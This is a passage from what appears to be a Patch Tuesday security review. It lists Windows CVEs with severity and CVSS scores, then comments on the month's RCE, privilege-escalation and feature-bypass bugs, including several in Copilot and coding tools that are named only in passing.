Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a 